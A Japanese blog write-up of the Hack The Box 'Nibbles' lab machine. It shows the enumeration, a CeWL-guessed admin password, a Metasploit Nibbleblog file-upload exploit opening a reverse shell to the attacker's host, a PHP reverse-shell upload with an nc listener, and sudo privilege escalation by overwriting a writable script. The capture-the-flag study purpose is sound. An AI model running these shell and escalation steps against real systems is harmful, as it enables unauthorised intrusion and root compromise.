LoginSignup
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

@chelly-egoist19940412

【Hack The Box】Nibbles Writeup

Posted at

Executive summary

Tool / Command

  • nmap
  • ffuf
  • CeWL
  • Metasploit
  • sudo -l
  • unzip personal.zip
  • #! /bin/bash
    bash
  • php-reverse-shell.php （pentestmonkey） ※参考欄にて使用

1. PortScan

「22/tcp」と「80/tcp」が開いている
sudo nmap 10.10.10.75 -sS -T4 -sVC --max-rate 1000 --min-rate 1000

└─$ sudo nmap 10.10.10.75 -sS -T4 -sVC --max-rate 1000 --min-rate 1000    
[sudo] kali のパスワード:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-04 22:16 JST
Nmap scan report for 10.10.10.75
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.23 seconds

2. Local Shell

HTTP：Apache httpd 2.4.18

HTTPに対して侵入を試みる

ブラウザでアクセスする
Hello world!しかない
image.png
ソースコードを見る
コメントアウトから/nibbleblog/ディレクトリがあることがわかる
image.png
「http://10.10.10.75/nibbleblog/」にアクセスする
フッダーの方にPowered by Nibbleblogと記載がある
image.png
ディレクトリ探索をする
admin.phpはもちろん、200のREADME、301のその他も気になる
ffuf -u http://10.10.10.75/nibbleblog/FUZZ -w /usr/share/dirb/wordlists/common.txt

└─$ ffuf -u http://10.10.10.75/nibbleblog/FUZZ -w /usr/share/dirb/wordlists/common.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.75/nibbleblog/FUZZ
 :: Wordlist         : FUZZ: /usr/share/dirb/wordlists/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 2987, Words: 116, Lines: 61, Duration: 307ms]
.hta                    [Status: 403, Size: 301, Words: 22, Lines: 12, Duration: 5015ms]
.htpasswd               [Status: 403, Size: 306, Words: 22, Lines: 12, Duration: 5018ms]
.htaccess               [Status: 403, Size: 306, Words: 22, Lines: 12, Duration: 5019ms]
admin.php               [Status: 200, Size: 1401, Words: 79, Lines: 27, Duration: 292ms]
admin                   [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 296ms]
content                 [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 305ms]
index.php               [Status: 200, Size: 2987, Words: 116, Lines: 61, Duration: 306ms]
languages               [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 308ms]
plugins                 [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 308ms]
README                  [Status: 200, Size: 4628, Words: 589, Lines: 64, Duration: 317ms]
themes                  [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 358ms]
:: Progress: [4614/4614] :: Job [1/1] :: 130 req/sec :: Duration: [0:00:39] :: Errors: 0 ::

「http://10.10.10.75/nibbleblog/admin.php」にアクセスする
ログインフォームが確認できる
image.png
「http://10.10.10.75/nibbleblog/README」にアクセスする
Nibbleblogのバージョン（4.0.3）が確認できる
image.png
「http://10.10.10.75/nibbleblog/admin/」にアクセスする
ディレクトリリスティングが確認できる
image.png
Exploit-DBで「Nibbleblog 4.0.3」を検索する
一つPoCが確認できる

└─$ searchsploit Nibbleblog 4.0.3                                     
-------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                  |  Path
-------------------------------------------------------------------------------- ---------------------------------
Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit)                           | php/remote/38489.rb
-------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Metasploitで確認したが、USERNAMEとPASSWORDが必須だった
msfconsole
search Nibbleblog 4.0.3
use 0
options

msf6 > search Nibbleblog 4.0.3

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  exploit/multi/http/nibbleblog_file_upload  2015-09-01       excellent  Yes    Nibbleblog File Upload Vulnerability


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nibbleblog_file_upload

msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/nibbleblog_file_upload) > options 

Module options (exploit/multi/http/nibbleblog_file_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/
                                         wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the web application
   USERNAME                    yes       The username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.20     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Nibbleblog 4.0.3

ユーザ名、パスワード【admin】や簡単なSQLi【' or 1 = 1; -- -】【' or 1 = 1; #】などを試したがログインできなかった

ディレクトリリスティングから色々探索していると「http://10.10.10.75/nibbleblog/content/private/users.xml」からユーザ名がadminだとわかった　※ブラックリストのようなものも
image.png
Hydraをrockyou.txtを使用して実行したところ、すべて正しいパスワードと出力してロックアウトされることがわかった

CeWLでパスワードリストを作成する
--lowercaseオプションを指定して小文字にする
cewl http://10.10.10.75/nibbleblog/ -w cewl-wordlist.txt --lowercase

CeWLの出力を試したらnibblesでログインできた

先ほどのMetasploitのPoCを試すとリバースシェルが取得できる
いつものおまじない【python -c 'import pty; pty.spawn("/bin/bash")'】はエラー出力したが、python3【python3 -c 'import pty; pty.spawn("/bin/bash")'】にすることで機能した

set password nibbles
set rhosts 10.10.10.75
set targeturi /nibbleblog
set username admin
set lhost 10.10.14.4
options

msf6 exploit(multi/http/nibbleblog_file_upload) > options 

Module options (exploit/multi/http/nibbleblog_file_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   nibbles          yes       The password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.75      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/
                                         wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /nibbleblog      yes       The base path to the web application
   USERNAME   admin            yes       The username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.4       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Nibbleblog 4.0.3

exploit

msf6 exploit(multi/http/nibbleblog_file_upload) > exploit 

[*] Started reverse TCP handler on 10.10.14.4:4444 
[*] Sending stage (39927 bytes) to 10.10.10.75
[+] Deleted image.php
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.75:59628) at 2023-05-05 00:36:33 +0900

meterpreter > shell
Process 1914 created.
Channel 0 created.
id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
python -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh: 2: python: not found
python3 -c 'import pty; pty.spawn("/bin/bash")'
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ pwd
<ml/nibbleblog/content/private/plugins/my_image$ pwd                         
/var/www/html/nibbleblog/content/private/plugins/my_image
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd /home
<ml/nibbleblog/content/private/plugins/my_image$ cd /home                    
nibbler@Nibbles:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root    root    4096 Dec 10  2017 .
drwxr-xr-x 23 root    root    4096 Dec 15  2020 ..
drwxr-xr-x  3 nibbler nibbler 4096 Dec 29  2017 nibbler
nibbler@Nibbles:/home$ cd nibbler
cd nibbler
nibbler@Nibbles:/home/nibbler$ ls -la
ls -la
total 20
drwxr-xr-x 3 nibbler nibbler 4096 Dec 29  2017 .
drwxr-xr-x 3 root    root    4096 Dec 10  2017 ..
-rw------- 1 nibbler nibbler    0 Dec 29  2017 .bash_history
drwxrwxr-x 2 nibbler nibbler 4096 Dec 10  2017 .nano
-r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip
-r-------- 1 nibbler nibbler   33 May  4 09:15 user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
cat user.txt
9af0c7c98f57be611ab6ae**********

3. Privilege Escalation

管理者権限で実行可能なコマンドがあるか確認する
「/home/nibbler/personal/stuff/monitor.sh」が確認できる
sudo -l

/personal/stuff/monitor.shはpersonal.zipとして圧縮されていた

personal.zipを解凍する
unzip personal.zip

monitor.shには、書き込み、実行権限があることが確認できる

nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -la
ls -la
total 12
drwxr-xr-x 2 nibbler nibbler 4096 Dec 10  2017 .
drwxr-xr-x 3 nibbler nibbler 4096 Dec 10  2017 ..
-rwxrwxrwx 1 nibbler nibbler 4015 May  8  2015 monitor.sh

monitor.shをbash実行に書き換える
echo '#! /bin/bash' > monitor.sh
echo 'bash' >> monitor.sh

nibbler@Nibbles:/home/nibbler/personal/stuff$ echo '#! /bin/bash' > monitor.sh
<er/personal/stuff$ echo '#! /bin/bash' > monitor.sh                         
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo 'bash' >> monitor.sh
echo 'bash' >> monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
cat monitor.sh
#! /bin/bash
bash

sudoを指定して実行する
sudo /home/nibbler/personal/stuff/monitor.sh

管理者権限が取得できる

nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
<er/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh             
root@Nibbles:/home/nibbler/personal/stuff# id
id
uid=0(root) gid=0(root) groups=0(root)
root@Nibbles:/home/nibbler/personal/stuff# cat /root/root.txt
cat /root/root.txt
3de7d17a36f6aa70cd4ec7**********

（参考）Metasploitを使用しないLocal Shellの取得

OSCPではMetasploitは1Boxしか使用できないので覚えておく

ログイン後、以下に遷移する
Plugins > My imageのConfigure
image.png
以下を参照して悪用を試みる

以下を編集する
$ip = '10.10.14.4'; // CHANGE THIS
$port = 4444; // CHANGE THIS

php-reverse-shell.phpからimage.phpへファイル名を変更してアップロードする　※php-reverse-shell.phpのままだとすぐに削除される
image.png
「http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php」にアクセスする
image.png
ポート「4444」で待ち受ける
nc -lnvp 4444

リバースシェルが取得できる

└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.75] 50890
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 03:15:56 up 22 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)

（余談）
ログインフォームは6回連続失敗で1分間ロックアウトされる

ブラウザには、Nibbleblog security error - Blacklist protectionと出力される
image.png
「http://10.10.10.75/nibbleblog/content/private/users.xml」には、私のIPアドレスが登録される
image.png
Burp SuiteのIntruderを使用して、ログイン試行を1分半間隔で実行することでパスワードがわかる
image.png

以上

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
Sign upLogin
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?